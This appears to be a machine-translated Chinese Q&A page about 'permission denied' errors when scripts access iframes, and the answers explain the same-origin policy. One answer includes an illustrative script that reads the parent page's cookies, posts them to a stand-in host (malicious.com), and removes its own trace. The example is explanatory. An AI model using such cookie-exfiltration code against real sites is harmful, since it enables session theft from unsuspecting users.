我在从其他iframe访问属性时遇到问题。我一直拒绝这个权限访问属性错误。我见过人们问他们是否多次使用file:///但是没有人(除了我)以至于永远不会被解决。
我不是在网上这样做的。我所有帧的src都在我硬盘上的同一个文件中。我试图从我在其他框架中创建的对象中获取一些属性
function fill_with_pairs()
{
for (var x = 0 ; x < setLength ; x++)
{
var tempSet = sets[x];
var tempNums = tempSet.wb_numbers;
if (top.num_frame.active_list.active_nums[x].checked)
{
for (var y = 0 ; y < 4 ; y++)
{
var thesePairs = tempNums[y];
var pairBase = numbersX[thesePairs];
for (var z = y+1 ; z < 5 ; z++)
{
var pairKey = tempNums[z];
pairBase[z]++;
}
}
}
}
}
答案 0 :(得分:10)
以下代码
<iframe src="http://example.com" onload="test(this)"></iframe>
<script>
function test(frame)
{
var cDoc = frame.contentDocument;
}
</script>
抛出
Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match.
协议必须匹配(例如:主窗口和iframe协议必须是file:
或http:
来命名一对。)
域必须匹配(例如:主窗口和iframe域必须为example.com)
端口必须匹配(例如:主窗口和iframe端口必须为80
或8080
)
这是为了保护用户免受恶意网站执行的代码,如果没有这些边界,可能很容易从不知情的用户那里窃取数据。
恶意JavaScript代码示例:
<script id="loadScript">
window.onload = function()
{
//grab parent to iframe
var parentWindow = window.parent.window;
//grab cookies from parent window
var cookies = parentWindow.document.cookie;
//send cookies off to malicious site
var form = document.createElement("form");
var inp = document.createElement("input");
form.action="http://malicious.com/maliciousAd.php";
form.method="post";
inp.value=cookies;
inp.name="cookies";
form.appendChild(inp);
form.submit();
//remove traces of malicious code
document.body.removeChild(document.getElementById("loadScript"))
}
</script>
答案 1 :(得分:3)
任何尝试访问其他域上文档属性的JavaScript(例如iframe
元素)都违反了same origin policy的安全概念。
在计算中,相同的原始政策是一个重要的安全概念 对于许多浏览器端编程语言,例如 JavaScript的。该策略允许在源自页面上运行的脚本 来自同一站点 - 方案,主机名和端口的组合 number 1 - 访问彼此的方法和属性,没有 具体限制,但阻止访问大多数方法和 不同网站上页面的属性。